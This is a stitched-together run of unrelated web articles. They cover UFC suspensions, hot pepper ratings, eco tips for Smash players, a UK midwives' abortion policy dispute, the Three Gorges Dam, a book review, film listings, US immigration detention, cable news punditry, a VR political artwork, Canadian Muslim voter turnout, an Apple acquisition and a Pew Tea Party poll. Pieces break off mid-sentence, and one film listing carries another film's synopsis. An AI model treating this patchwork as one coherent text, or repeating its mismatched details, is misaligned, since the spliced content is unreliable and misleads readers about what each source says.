It should be noted that fighters often return far sooner than their medical suspensions entail, as injuries reported on fight night may not be as severe as initially suggested. In the case of McGregor, the new champ is already eyeing fights in both April and July, according to his coach John Kavanagh.
The complete list of UFC 194's medical suspensions can be seen below.Peppers are hot these days, both in the kitchen and the garden. Cooks stir up fiery Thai and Indian curries, or spicy Jamaican stews, and seed companies stand ready to light the match for those who grow their own heat.
Burpee offers 13 hot peppers (compared with 20 sweet), each marked with one, two or three little red flames, to signal “mildly hot,” “red hot” or “12 alarm.” John Scheepers Kitchen Garden Seeds has 17 hot (14 sweet), listed in ascending rank on the Scoville scale, from barely warm Pepperoncinis (100 to 500 Scoville heat units) all the way to the incendiary Caribbean Red Habanero, with up to 400,000. That’s well below police-grade pepper spray, at 5 million, but hot enough to get some respect.
Pharmacologist Wilbur Scoville’s famous rating system, developed in 1912, started with a cocktail of powdered pepper extract dissolved in alcohol and mixed with sugar water. For each pepper, testers sipped a series of dilutions until they could no longer detect any burn. You’d think that they’d do it the other way around, adding pepper until it becomes noticeable, much like a hearing test in which you press a buzzer as soon as you hear a sound. That’s what Craig Dremman of the Redwood City Seed Co. did when he created his Craig Dremman’s Hotness Scale. His and Sue Dremman’s hot pepper offerings are a treasury of diversity.
Today, Scoville’s test is not much in use, even though his heat units still are. Pepper heat — which is fueled by compounds called capsaicins — is generally measured in a lab using high-performance liquid chromatography. The results are then translated into Scoville units, using a formula.
Johnny’s Selected Seeds (which lists an even split of 19 hot and 19 sweet) rates its hots with little red pepper symbols. For example, Red Hot Lantern, a habanero, earned five peppers for its “mouth-blistering heat.” I asked Johnny’s founder Rob Johnston to explain the rating system. His response: “Steve Bellavia, our trials manager, takes a bite. Janicka Eckert, our |
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Controllers And Consoles
Power Use
Trash
It is estimated that over 80% of all single-use water bottles used in the U.S. simply become "litter".
It takes over 1.5 million barrels of oil to meet the demand of U.S. water bottle manufacturing
It is estimated that actually 3 liters of water is used to package 1 liter of bottled water
The energy we waste using bottled water would be enough to power 190,000 homes
Americans used about 50 billion plastic water bottles last year. However, the U.S.’s recycling rate for plastic is only 23 percent, which means 38 billion water bottles – more than $1 billion worth of plastic – are wasted each year
The recommended eight glasses of water a day, at U.S. tap rates equals about $0.49 per year; that same amount of bottled water is about $1,400
Smashers Can Save The Earth
On April 22nd each year every year since 1970, we celebrate Earth Day in an effort to help raise awareness for keeping our planet and environment clean and healthy. Every day Smashers all over the world turn on consoles, use power, and play the game they love using valuable natural resources and power. There is no way anyone would ever tell them to stop, however there are many ways Smashers can reduce, reuse, and recycle to make a positive impact on the environment.The Smash scene, especially for Melee, could always use more CRTs. For those not familiar with the term, CRT stands for "Cathode Ray Tubes" which are used in older televisions. Why does Smash use CRTs? It's because CRTs have the lowest input lag of any display ever made, and players in especially technical games like Melee say every frame counts.This is one of the ways that Smashers can do real good for the environment. E-waste represents 70% of overall toxic waste in American landfills, and CRTs present a lot of it with many having a minimum of 8 pounds of lead per television. In 2009, discarded TVs, computer, peripherals, mice, keyboards, and cell phones made for 2.37 MILLION short tons of E-waste. This is likely because only 12.5% of E-waste is currently recycled.While it is possible to recycle CRTs, reusing them is by far the better alternative and what better way to do this than by supporting Smash tournaments? Many tournaments offer discounts on venues and entry fees for those who bring setups and televisions, and tournament organizers could always use more of these in storage for hosting. Why leave CRTs on the curb to be ruined by the rain, or donate them to thrift stores where Smash fans have to pay, or illegally throw them away? Smashers can help the environment and recycle CRTs while also helping the local tournament organizer - most of whom will welcome a chance to acquire a free setup.This is another amazing way Smashers frequently do that "reuse" part of reduce, reuse, and recycle. While sometimes it may be nice to just quickly buy a new controller, instead, consider using old parts from controllers to just repair broken controllers - it is both cheaper and much more eco-friendly. For consoles it can be much less expensive to just repair an old console instead of buying an entirely new one as well, and there are plenty of guides on how to repair both even for those who are less tech savvy.If a controller or console has no hope of repair, why not re-purpose it into something awesome? There are tons of ways to take controllers and consoles and make them into something amazing and this is a cool way to have an epic accessory or decoration in a home or to sell to others.For those who just don't have that artistic touch Nintendo even offers a FREE service to help recycle their consoles and products (and even competitor's consoles in some circumstances) so if somehow you have a console that has no hope of repair instead of throwing it away it can be disposed of properly.One thing you'll need to repair many Nintendo systems is the Tri-wing screwdriver, which you can purchase cheaply here How much power do game consoles really take to run? A study done in 2014 shows an estimated 10-11 billion kilowatts per hour are used JUST for video games in a year, which is the equivalent to the output of 4 large power plants which would cost $1 billion annually. The scary part is that $400 million of those dollars in power will be used by consoles in standby modes that are not unplugged after use. This doesn't even include the televisions they are plugged into which also drain power.While the Wii U is the best for power use out of all the next generation consoles, and the Wii, Gamecube, and Nintendo 64 are also very good on this for the time they were created. Simply unplug the console and television while not in use to save energy and reduce how large electric bills can be. This goes for other non gaming devices as well, so remember to unplug!For the daring who want to reduce power use while helping people appreciate the outdoors there is always the possibility of hosting outdoor Smash events. The Wall Street Journal even reported on such an event, and it's not too difficult to use a park as a free venue for tournaments. Using natural light and not using tons of fans or air conditioners for events is a great way to reduce power use in a tournament setting. Playing outdoors also has the added benefit of showing off your local scene and enthusiasm to pedestrians.There is little doubt that Smashers enjoy their snacks and energy drinks, however many of these kinds of foods have containers that can add unnecessarily to landfills when they could instead be recycled. Want to go the extra mile choose foods and brands that are more eco-friendly. For tournament hosts, make sure to have a proper recycling bin at your venue to do your part.For the players, events can get very hot and it may be tempting to buy bottled water but consider what it does to the environment.So save the Earth and save some cash by bringing reusable plastic bottles for water to events, and for those hosting be sure to grab venues that have these water sources easily available.These are just some of the ways our own personal game scene can help save the Earth within our own community but there are certainly plenty more. Be sure to visit earthday.org for more information on Earth Day and how to save our planet and join Finley's Green Leap Forward, an environmental group here on Smashboards. This article is dedicated to Finley Broaddus, a friend of fellow Smashboards writer @ Marthmario who was the inspiration behind this piece. While she is no longer with us, may she inspire the Smash community to protect, restore, and improve this beautiful blue sphere we Smashers call home.Some 200 maternity staff say the campaign is an insult to their profession
Britain’s biggest maternity union has joined forces with abortion providers and radical feminists in an ‘extreme’ campaign to abolish the legal limits on abortion.
The Royal College of Midwives, which represents nearly 30,000 midwives and health workers, is calling for women to be allowed to terminate an unborn child at any stage of pregnancy – and face no criminal sanctions.
Abolishing abortion law would do away with the current time limit of 24 weeks of pregnancy, after which a woman can only have a termination for medical reasons.
The campaign comes after a 24-year-old woman was recently jailed for deliberately inducing a miscarriage when she was eight months pregnant.
Cathy Warwick, who is the The Royal College of Midwives Chief Executive and General Secretary
But critics fear such a radical change in the law will lead to healthy foetuses being aborted late in pregnancy for reasons including being the ‘wrong’ sex or simply for the convenience of the mother.
The RCM’s new policy was formally announced in a new ‘position statement’ published last week, which has already sparked a rebellion among the union’s members.
The continued criminalisation of abortion in the UK may drive women to access abortion services which are neither safe nor legal, and which may prove harmful or even fatal. Accordingly the RCM supports the campaign to remove abortion from criminal law RCM Abortion Position Statement published last week
Around 200 midwives and maternity workers signed a letter to the union’s board condemning the ‘utterly unacceptable’ move, on which they say members were not consulted.
‘For the organisation that represents us to support the radical position that all protections for unborn children should be removed right through to birth, and without any consultation of us members, we find utterly unacceptable,’ the letter states.
‘We, the undersigned, therefore wish to state that the RCM does not speak in our name.’
Signatory Michelle Viney, a midwife of 15 years’ standing, said: ‘Why could the RCM think it could do this without asking any of their members? I find it so shocking.
‘I financially support it, but I wouldn’t want to be paying a fee towards an organisation which is going to be campaigning for something which, morally, I 100 per cent disagree with.’
The Mail on Sunday can also reveal astonishing links between the head of the RCM and Britain’s biggest abortion provider, the British Pregnancy Advisory Service (BPAS), which is driving the ‘We Trust Women’ campaign.
BPAS chief executive Ann Furedi (pictured), said abortion should be accepted as a form of family planning. She is married to sociology professor Frank Furedi, a founding member of the Revolutionary Communist Party
BPAS runs a nationwide chain of abortion clinics and receives £25 million of public money to carry out more than 63,000 terminations a year on behalf of the NHS.
But Cathy Warwick, the £155,000-a-year Chief Executive and General Secretary of the RCM, has been a trustee of BPAS for at least five years, and in 2014 became Chairman of the abortion provider, with ultimate responsibility for the charity’s strategy and direction.
Her BPAS position – which is unpaid – is not mentioned in her RCM biography.
Since Professor Warwick became Chair of Trustees, BPAS has taken an increasingly political direction with a key objective being to ‘expand our advocacy for the decriminalisation and destigmatisation of abortion throughout the UK’, corporate papers reveal.
Left, The RCM Abortion Position Statement and right, The Royal College of Midwives badge. The college was established in 1881 with the Latin motto Vita Donum Dei, meaning ‘Life is the gift of God’
In February, as BPAS launched its ‘We Trust Women’ campaign to ‘decriminalise’ abortion, Prof Warwick signalled the union supported the campaign – meaning the professional body was ranked alongside feminist groups such as The Fawcett Society, the National Union of Students’ Women’s Campaign and Southall Black Sisters.
Last Friday, the position was confirmed in its statement, which reads: ‘The continued criminalisation of abortion in the UK may drive women to access abortion services which are neither safe nor legal, and which may prove harmful or even fatal.
‘Accordingly, the RCM supports the campaign to remove abortion from criminal law.’
If these aims were ever implemented, it would mean the introduction of abortion up to birth for any reason. We object to this new extreme position taken by the College. It is out of keeping with what we take to be the ethic of our profession Letter to RCM chief signed by 200 midwives and maternity workers
The document, which emphasises the rights of women, makes no reference to the moral rights of the unborn child.
This is despite recent calls to lower the legal limit for abortions.
Survival rates for premature babies have improved massively in recent years and now 80 per cent born at 25 weeks survive.
Last night, Liberal Democrat peer Lord Alton of Liverpool said the RCM’s support was ‘shocking’.
He added that he found it ‘extraordinary’ that midwives ‘who have a high calling – bringing babies into the world’ were ‘being frogmarched into carrying out terminations’.
Citing the cases of two Christian midwives in Scotland who resigned after refusing to care for women who had undergone abortions, he added: ‘It is bad enough for people to lose their jobs and to have their consciences trampled upon.
‘But in addition, that the Royal College which represents them – without any consultation with its membership – is campaigning for a more draconian abortion law, will shock any fair-minded person.
‘Next year there will be eight million abortions since it was legalised in Britain, and it is not the job of midwives to add to that number.’
The British Pregnancy Advice Service 'We Trust Women' campaign document (pictured) states: 'The abortion time limit would be removed from criminal law. There is no doubt that abortions post viability raise particular moral concerns for many...but there is no evidence that [it] leads to an increase in later terminations'
BPAS is led by Ann Furedi, its £145,000-a-year Chief Executive, who is a former Cosmopolitan journalist turned advocate of abortion as a method of birth control.
In 2000 Ms Furedi said: ‘It may be time to understand that, for women, abortion is an essential method of family planning and accept it as such.’
Most abortions carried out in Britain today are authorised under the 1967 Abortion Act on the grounds that continuing with the pregnancy would jeopardise a woman’s mental health. Such abortions are allowed up until 24 weeks’ gestation.
Only a tiny proportion of abortions take place at 24 weeks or later: there were 211 such terminations in 2014
After that, they are only legal on ‘medical’ grounds – if continuing with the pregnancy would endanger the life of the woman, or the unborn child has severe health problems.
Consequently only a tiny proportion of abortions take place at 24 weeks or later: there were 211 such terminations in 2014.
The We Trust Women campaign explicitly states that ‘the abortion time limit would be removed from criminal law,’ if it succeeded.
It claims there is ‘no evidence that removing criminal sanctions leads to an increase in later terminations’.
Canada and parts of Australia have already ‘decriminalised’ abortion altogether, it adds.
Concerned midwives and ‘pro-life’ campaigners dispute this, saying there is evidence of increased late-term abortions in the Australian state of Victoria after its Abortion Law Reform of 2008.
Sally Carson, a trained midwife from Chester, said: ‘Midwives are for delivering live babies wherever possible and trying to preserve the lives of those born prematurely. These babies are not tumours that they can just remove.’
Tory MP Fiona Bruce, chairman of the All-Party Parliamentary Pro-Life Group, said: ‘To propose abortion up to birth for any reason at all is, I believe, completely out of step both with the society and many of society’s representatives in Parliament. We need to stand against this.’“Three Gorges Dam crosses the Yangtze River in Hubei province, China. It is the world’s largest hydroelectric power station by total capacity, which will be 22,500 MW when completed. When the water level is at maximum….it will flood a total area of 632 km2 of land. The reservoir will contain about 39.3 cubic km (9.43 cubic miles) of water. That water will weigh more than 39 trillion kilograms (42 billion tons). A shift in a mass of that size will impact the rotation of the Earth due to a phenomena known as “the moment of inertia”, which is the inertia of a rigid rotating body with respect to its rotation. The moment of inertia of an object about a given axis describes how difficult it is to change its angular motion about that axis. The longer the distance of a mass to its axis of rotation, the slower it will spin. You may not know it, but you see examples of this in everyday life. For example, a figure skater attempting to spin faster will draw her arms tight to her body, and thereby reduce her moment of inertia. Similarly, a diver attempting to somersault faster will bring his body into a tucked position. Raising 39 trillion kilograms of water 175 meters above sea level will increase the Earth’s moment of inertia, and thus slow its rotation. However, the impact will be extremely small. NASA scientists calculated the shift of such a mass will increase the length of day by only 0.06 microseconds, and make the Earth only very slightly more round in the middle and more flat on the top. It will also shift the pole position by about two centimeters (0.8 inch). Note that a shift in any object’s mass on the Earth relative to its axis of rotation will change its moment of inertia, although most shifts are too small to be measured (but they can be calculated).” SourceI do not have the best history with dystopian books with strong female leads; after a while they kinda all sound the same. Fortunately I found Contributor to be pleasantly different. To start with, we have a main character who, while sometimes naively good, has full belief in the system and wants nothing more than to Contribute and, perhaps, marry her boyfriend so that they can be great Contributors together. She has no thoughts of the system being imperfect. She has no notion of anything other than the Magnum and her reputation therein.
Another difference, one that I so greatly appreciate, is that when she is introduced to concepts outside of what she knows, she doesn't immediately take up the cause. She is aware of this new aspect of the world, would enjoy partaking in some of their books, but she takes a realistic amount of time and experience to finally come around to wanting to help them. This isn't an immediate rally around one person to start the revolution. This is her getting to the place, mentally, where she can help the people who actually need help.
Best of all is HOW she helps. I get so tired of teenage protagonists acting as though the adults are just lazy or complacent and need someone to inspire them to action. In Contributor, information is what is vital. Dara has trusted adults and higher ups all her life, naturally she trusts them to know more than her. So she helps with information. Not with guts, not with promises of glory or inspiring speeches, information.
I have added the next book to my TBR list because I am very interested to see how Ciarcchella takes this. I have my theories and I need them confirmed. If you are at all interested in a different kind of dystopian story with a strong female lead, I highly recommend Contributor.HOW TO TRAIN YOUR DRAGON: THE HIDDEN WORLD
Rated: PG | Runtime: 1 hr 44 min | Release Date: Friday, Feb 22, 2019
Cast: Jay Baruchel, Gerard Butler, America Ferrera, Jonah Hill, Christopher Mintz-Plasse
Synopsis: In this next chapter, Hiccup and Toothless will finally discover their true destinies: the village chief as ruler of Berk alongside Astrid, and the dragon as leader of his own kind.
FIGHTING WITH MY FAMILY
Rated: PG13 | Runtime: 1 hr 47 min | Release Date: Friday, Feb 22, 2019
Cast: Florence Pugh, Dwayne Johnson, Lena Headey, Nick Frost, Jack Lowden
Synopsis: In this next chapter, Hiccup and Toothless will finally discover their true destinies: the village chief as ruler of Berk alongside Astrid, and the dragon as leader of his own kind.
GRETA
Rated: R | Runtime: 1 hr 38 min | Release Date: Friday, Mar 1, 2019
Cast: Isabelle Huppert, Chloë Grace Moretz, Maika Monroe, Colm Feore, Stephen Rea
Synopsis: Having lost her mother, Frances quickly grows closer to widowed Greta. The two become fast friends — but Greta’s maternal charms begin to dissolve and grow increasingly disturbing as Frances discovers that nothing in Greta’s life is what it seems.
TYLER PERRY’S A MADEA FAMILY FUNERAL
Rated: PG13 | Runtime: 1 hr 42 min | Release Date: Friday, Mar 1, 2019
Cast: Tyler Perry
Synopsis: A joyous family reunion turns into a hilarious nightmare as Madea and the crew travel to backwoods Georgia and unexpectedly plan a funeral, which threatens to reveal sordid family secrets.A former Obama Administration official responsible for the detention of illegal immigrants said President Donald Trump and Department of Homeland Security (DHS) Secretary John Kelly are “dismantling the progress we had made.”
Kevin Landy, President Barack Obama’s director of Immigration and Customs Enforcement (ICE) Office of Detention Policy and Planning, took exception to President’s Trump’s decision to shut down his department. Under Secretary Kelly, the DHS is poised to change some of the hotel-like conditions illegal immigrants, including criminals, receive while in detention.
As an example, illegal immigrants in two Orange County, California, detention facilities have daily clothing and bedding changes performed by a jail employee. The standard for other criminal facilities is a weekly change.
“That one seems a little overkill,” detaining center Commander Jon J. Briggs told the New York Times.
“Jail is jail,” Butler County, Ohio, Sheriff Richard Jones told the New York newspaper. “It’s fair and it’s human, but we don’t put chocolates on the pillows.”
Landy reacted to the Trump Administration’s efforts to toughen standards in the detention centers and claimed, “a decision to simultaneously abandon detention standards could have disastrous consequences for the health and safety of these individuals.”
He said he hoped Secretary Kelly, “wouldn’t want to dismantle the progress we had made,” but didn’t really detail what “progress” he was referencing.
The New York Times detailed some of the “progress” he might have been referencing. The ever growing list of requirements call for:
Notify immigration officials if a detainee spends two weeks or longer in solitary confinement. Check on suicidal inmates every 15 minutes, and evaluate their mental health every day. Inform detainees, in languages they can understand, how to obtain medical care. In disciplinary hearings, provide a staff member who can advocate in English on the detainee’s behalf.
ICE officials declined to comment on Landy’s claims, stating only that the agency responsible for enforcing immigration law is “in the midst of examining a variety of detention models to determine which models would best meet anticipated detention needs.”
The Clinton Administration established the initial standards in 2000. Since that time, they expanded under President George W. Bush in 2008 and again under President Obama in 2011. The current guidelines now fill 455 pages and go into “granular detail on subjects including the minimum number of toilets — one for every 12 detainees in male facilities or eight detainees in female facilities — and trash bag thickness (at least 1.5 millimeters),” the New York Times reported.
With the crackdown on criminal aliens and other deportable individuals under the Trump Administration, more detention facilities will be required and costs will be an increasing concern.
Commander Briggs told the reporter from the New York Times the Trump Administration has already requested 500 additional beds. They warned that more will be coming in the months ahead.The commander said he currently can take only 120 at this time.
Breitbart Texas Managing Director and Editor-in-Chief Brandon Darby contributed to this article.
Bob Price serves as associate editor and senior political news contributor for Breitbart Texas. He is a founding member of the Breitbart Texas team. Follow him on Twitter @BobPriceBBTX and Facebook.By Paul Farhi
In an interview with broadcast journalist Ted Koppel that instantly went viral on Sunday, Fox News host Sean Hannity offered this reply to Koppel's claim that opinionated programs such as Hannity's have deepened political polarization:
"We have to give some credit to the American people that they are somewhat intelligent and that they know the difference between an opinion show and a news show," Hannity said.
The causes of America's deepening political divide are many and much disputed, but the differences between an opinion show and a news show might be difficult for people to discern. The reason: Programs such as Hannity's and others on cable news are often a mix of many things - news, commentary, analysis and pure, unadulterated opinion.
For years, cable-news networks have trafficked in this hybrid form. They regularly present panels of people from differing perspectives and different disciplines - a reporter, a commentator, a host, a political surrogate or former politician - to chew over some development. The discussion can jump quickly from news to commentary to partisan bickering, without clear distinctions.
The dangers of such blending were on display this month as two cable analysts seemed to be reporting breaking news. Or was it?
Former judge Andrew Napolitano, a Fox News legal analyst, repeatedly stated on the network that "three intelligence sources" had told Fox News that President Barack Obama had persuaded British agents to wiretap Trump Tower during the campaign. The claim appeared to validate President Donald Trump's assertions that Obama had done exactly that. (Trump, in turn, referred to Napolitano to support Trump's own assertion.)
But this came as a surprise to Fox's journalists, who never corroborated Napolitano's statements. And after British officials denied the story, Fox anchors Shepard Smith and Bret Baier stepped in to say the network had no information to support it.
On Friday, CNN national security analyst Juliette Kayyem offered what sounded like another newsworthy development.
"It is starting to look like, from my sources and then also from open reporting, that Michael Flynn is the one who may have a deal with the FBI and that is why we haven't heard from him," she said on Don Lemon's prime-time program. She was referring to Trump's former national security adviser, who resigned last month after failing to disclose contacts with Russian officials and making misleading statements about it to Vice President Mike Pence.
Like Fox, CNN offered no guidance to its viewers about the veracity of Kayyem's statement. However, amid an explosive reaction on social media, Kayyem on Saturday clarified her comment that Flynn perhaps was cooperating with the FBI. She wrote on Facebook that her sources were merely "increasingly wondering" whether Flynn had agreed to speak to the FBI. "To be clear, I did not say on this segment that I have any confirmation that he is actually cooperating or that I have talked to anyone who does," she wrote.
A CNN spokeswoman, Barbara Levin, said on Monday that the Fox and CNN episodes aren't equivalent, given that Kayyem, unlike Napolitano, had hedged her original claim. "Any attempt to equate what Juliette Kayyem said to what Judge Napolitano said on Fox News is laughable and absurd," Levin said.
Hannity, a longtime supporter of Trump, has always asserted that he's a talk-show host, not a journalist, and thus he should be held to a different standard. But his program typically includes journalistic elements, such as news clips and interviews with newsmakers (such as Trump) as well as with Fox reporters about developing stories.
Moreover, "Hannity," and similar programs, are rarely labeled as commentary.
The blurring extends to other elements of cable news, too. MSNBC has often paired an opinion host, such as Rachel Maddow, with a news anchor, such as Brian Williams, on its election coverage. Asked if the mixing of news and commentary figures might confuse viewers about MSNBC's approach, network spokesman Errol Cockfield offered a one-word response: "No."
Just as on a panel-discussion show, some would argue with that.
"It is confusing," said Frank Sesno, a former CNN reporter and anchor who now runs George Washington University's School of Media and Public Affairs. "One of the dangers is thinking that people know the difference between the editorial page and the front page, between a commentator or pundit commenting on something alongside a reporter who's supposed to be providing facts. In this environment, when you have news, talking points and opinions all colliding, it can be really disorienting to the audience."
The cable networks try to keep the lines clear with identifying graphics, he said, but these labels are often "overshadowed and overwhelmed" by the speed of debate. "It's hard for the casual viewer to keep track of the scoreboard," said Sesno.
The confusion about who's who may fuel public perceptions that news reporters are biased, said Dave Statter, a former TV journalist who is now a blogger and consultant on media issues. Viewers and readers "just don't know who is a reporter and who is a partisan commentator," he said.
The modern era of journalists as TV opinion slingers may have started with the pundit-centric "McLaughlin Group" beginning in 1982. A few years later, CNN's "Capital Gang" tweaked the format, putting liberal and conservative opinion journalists into a discussion with a public official, said Tom Rosenstiel, executive director of the American Press Institute.
Since then, opinion journalism - which Rosenstiel notes is rooted in factual reporting - has given way to outright political activism online and on the air, he said. "The fact that someone is publishing something, saying it out loud, doesn't make it journalism, even opinion journalism."
Who can blame viewers for being confused, he adds. "It took many hands to create this situation, and a lot of loose thinking on behalf of people in news."
Paul Farhi is The Washington Post's media reporter.Tilt Brush is a virtual reality painting and sculpture program that allows people to create images in three dimensional space.
One artist recently used the program to draw what amounts to a political cartoon by starting with a caricature of Donal Trump with a hidden twist: if you step through that first image you see a hidden portrait of Adolf Hitler.
We've included a video above that shows both the drawing process and the act of exploring the final product.
"At a Tilt Brush artshow, my favorite piece was of a campsite with a teepee by a fantastic artist named Akin Bilgic," Tipatat Chennavasin, general partner at The Venture Reality Fund told Polygon when we asked about the work. "It had an easter egg where if you look inside you saw this great interior. I really liked that idea of looking inside the art and seeing more, which was only possible in VR."
Comparing political figures to Hitler is nothing new, but it's taken on a new life with Trump, whose campaign rallies have grown increasingly violent. A clash between protesters and supporters that canceled an event on Friday only increased criticism of Trump in this way.
Chennavasin has been drawing and releasing some amazing pieces in virtual reality for a while now, but this was his first attempt at a political cartoon.
"I thought it was time to try and actually say something since art is most powerful when it has a message or meaning," he explained. "I am very concerned about the rise of Donald Trump and his brand of ugly bullying and advocacy of violence as the first response and as an artist I wanted to say something about it."
It's one thing to see the work described in a video, one of which Polygon made to really show off the work's 3D aspect, and another that Chennavasin created that is also embedded on this page. But the art loses something unless you're wearing a Vive yourself and can see the 3D aspect of the drawing, and then step through Trump's image to see the second portrait underneath.
It's a work that all but requires virtual reality to experience "correctly," which is a challenge when so few people have access to the hardware.
"It's strange but that is entirely the point of what I want to explore with VR," Chennavasin said. "When it comes to anything I experience in VR, I always ask why is this in VR and how is it a better or more interesting experience because of VR. Otherwise it might be better to do it in the other mediums."
I asked if drawing a comparison, literally and figuratively, between Hitler and Trump fell into the trap of Godwin's Law, but Chennavasin disagreed.
"Godwin's Law points to this 'Boy Who Cried Wolf' problem we have with Trump where when he are finally seeing a demagogue rising up by appealing to the worse of us but when we call it out, it gets lost in the noise," he explained. "I think one way to stop him is by getting the word out and voting, especially to the people who usually aren't political."Mohammed Hashim could tell this election was different.
Muneeza Sheikh is a spokeswoman for The Canadian Muslim Vote, a group which sees great success in the recent election after its efforts in the GTA to get Muslim-Canadians interested in voting. ( Melissa Renwick / Toronto Star )
In past years, the community activist said it was difficult to find members of the Muslim community interested in volunteering, helping on election campaigns, and opening their wallets to support candidates. Even harder, was to get people out to vote. “I have worked every campaign, municipal, provincial and federal since 2001,” said Mississauga-based Hashim, an organizer with Toronto and York Region Labour Council. “I have never seen this level of engagement from Muslims across the GTA,” he said. “I think Muslims felt this election they had a lot more to lose, if they stayed on the sidelines,” he said.
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A new poll looking at voter turnout in the Muslim community, being released Thursday, backs up what many activists felt was an “unprecedented increase” in civic engagement in the community. Seventy-nine per cent of nationwide respondents to the poll, commissioned by the grassroots group The Canadian Muslim Vote, said they voted. In nine GTA ridings where TCMV was on the ground, present at events and went door to door, the voter turnout was 88 per cent. (The national voter turnout this year was 68.5 per cent.) “We worked really hard over the past seven months to really undertake an intensive election-awareness campaign, so for us, these results are amazing,” said Muneeza Sheikh, spokeswoman for TCMV. “There were a number of issues that really affected the Muslim community, and so people were really receptive,” she said. The non-partisan group which was founded to increase civic engagement in the Muslim community, commissioned the poll because “people were contacting us to find out about the result of our efforts,” said Sheikh. (TCMV’s efforts were focused on these nine ridings: Don Valley East, Mississauga Centre, Mississauga-Erin Mills, Scarborough Guildwood, Etobicoke North, Don Valley West, Mississauga Malton, Scarborough Southwest and Scarborough Centre.) The poll, conducted by Mainstreet Research, surveyed 802 Muslim Canadians from November 3-5 across five municipalities: London, Ottawa, Greater Toronto, Edmonton and Vancouver. Muslim Canadians are not thought to be habitually faithful in their voting habits; Mainstreet cites research from years past suggesting their turnout roughly a decade ago was less than 50 per cent.
The poll has a margin of error of +/- 3.46 percentage points, 19 times out of 20 for the coverage zone. Laura Anthony, a research manager with Samara Canada, a non-profit advocacy group for citizen engagement and participation, says the findings of any poll have to be taken with “a grain of salt.”
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“The first thing that jumps out is that this is self-reported data, which can bump the numbers up significantly,” said Anthony. In 2011, 74 per cent of youth between the ages of 18-34 self-reported they voted, when Election Canada’s estimates found that 42.5 per cent 18-34-year-olds cast a ballot, she said. She said that polls like this are good for groups to set benchmarks for themselves that they can measure against in the future — especially because such data is not available elsewhere. Elections Canada doesn’t collect data based on religious affiliation. And that the polls aside, the outcome of the federal election result itself speaks for Muslim engagement. “Beyond this report, we know that 11 Muslims were elected from the House of Commons, and predominately from around the GTA,” she said. “We can see even there, there was definitely a movement.” Newly elected MP for Mississauga Centre Omar Alghabra, said the poll’s high numbers are not surprising, and he sees it as a positive sign for the future. “It was clear that the Muslim community had an impact on the outcome of the election,” he said. “And it’s a reassuring message to every citizen that their participation through voting and maybe even more, has an impact on the outcome.”Spotsetter was a maps app that reflected what you and your friends do. Spotsetter.com
Apple has purchased Spotsetter, a social search engine that uses big data to offer personalized recommendations for places to go. The terms of the deal have yet to be disclosed, but the news was first reported by TechCrunch.
Apple will likely use Spotsetter to bolster its own homegrown Maps application. Last summer, Apple picked up a handful of mapping and navigation companies — including HopStop, Embark, Locationary, WiFiSLAM and BroadMap — for a presumably similar purpose.
According to TechCrunch, a big part of the Spotsetter deal involves the two founders behind the startup: Stephen Tse is an ex-Google Maps engineer and Johnny Lee has worked as a former consultant at Siemens and former CTO at FitFiend, a social network for fitness professionals.
Spotsetter was designed to combine recommendations from friends with trusted reviews and other data to create more social maps. It would show you which friends were "experts" in a given area, and you could tag your friends as experts (like LinkedIn) to boost the influence of their recommendations. You could also discover new places by browsing Spotsetter's maps to see where your friends have been and what they've recommended.
Thanks to a patent-pending algorithm, Spotsetter was able to pull in data fron social networks like Facebook, Instagram, Twitter and Foursquare, as well as venue information from more than 30 review sites like Yelp, TripAdviser, Zagat and The New York Times.
Last summer, Spotsetter said it had processed 5 million user profiles, 40 million venues and 1 million curated venue content items globally.
Spotsetter's app, which was available on iOS and Android, officially closed down just six days ago, with Lee posting the following message:
With fondest emotions, I'm announcing that we are closing down Spotsetter app. We still have big dreams for personalized search for places and look forward to seeing great progress in this area. Thank you everyone for your support over the past years!
TechCrunch said Apple and Spotsetter had been discussing a deal for some time, but the deal "quickly closed last week after other companies found out and became interested."Pastor Roger Jimenez (Photo: Screen capture)
Baptist pastor Roger Jimenez of the California-based Verity |
and just 10% in 2010. Meanwhile, the share expressing a very favorable opinion stands at 9% and is little changed over the past three years.
Demographic Shifts in Views of Tea Party
Over the past four months, public opinion of the Tea Party also has turned more negative across many demographic groups. The decline in positive ratings is particularly notable among whites and young people.
By a 50% to 31% margin, whites now have a more unfavorable than favorable view of the Tea Party; four months ago whites were about evenly divided in their opinions. Over the same period of time there has been little change in opinions of the Tea Party among blacks or Hispanics, who already held a negative opinion of the Tea Party in June.
And although favorable ratings of the Tea Party have declined across most age groups, there has been a 12-point drop among 18-29 year olds, just 25% of whom now have a positive view of the Tea Party movement.
Republicans More Negative toward Boehner, McConnell
As negotiations over the debt ceiling and the government shutdown continue, the images of two GOP leaders central to these negotiations have suffered among the Republican base.
Among all Republicans and Republican-leaning independents, 43% view House Speaker John Boehner favorably, while 35% view him unfavorably. In July, the same percentage had a favorable impression of Boehner, while fewer (28%) had an unfavorable opinion.
Since then, unfavorable views of Boehner have risen slightly among Tea Party Republicans (by seven points) and non-Tea Party Republicans (six points). Favorable opinions of Boehner, among both groups, have changed little.
Mitch McConnell’s ratings show a similar negative trajectory, though the Senate minority leader remains less well known. Overall, Republicans and Republican leaners are about evenly divided in views of McConnell (31% favorable, 32% unfavorable). In July, views of McConnell were, on balance, more positive (36% favorable, 24% unfavorable).
A plurality of Republicans and Republican leaners who agree with the Tea Party continue to offer a favorable assessment of the Senate Minority Leader (45% favorable today), but the share who view McConnell unfavorably has risen from 23% to 32%.
Broadly Negative Views of Top Democrats
As might be expected, majorities of Republicans and Republican leaners view many leading Democrats unfavorably. Yet Tea Party Republicans stand out for the breadth of their unfavorable opinions, as well as the intensity of those views.
Fully 96% of Tea Party Republicans and 81% of non-Tea Party Republicans have an unfavorable opinion of Barack Obama. However, 77% of Tea Party Republicans view Obama very unfavorably, compared with about half (51%) of non-Tea Party Republicans.
Both House Minority Leader Nancy Pelosi and Senate Majority Leader Harry Reid are far better known – and more widely disliked – by Tea Party Republicans than their non-Tea Party counterparts. Fully 84% of Tea Party Republicans view Pelosi very unfavorably, which is on par with highly negative views of Obama. Nearly two-thirds (65%) have very unfavorable impressions of Reid. Among non-Tea Party Republicans, just 35% view Pelosi very unfavorably while 22% view Reid very unfavorably.
Although Tea Party Republicans’ ratings of Hillary Clinton also are overwhelmingly negative – 83% view her unfavorably – they are less extreme. Roughly half (49%) of Tea Party Republicans offer a very unfavorable rating of the former Secretary of State. Hillary Clinton is viewed favorably by 43% of non-Tea Party Republicans, which is substantially higher than the other leading Democrats tested.
Is the Tea Party Part of the GOP?
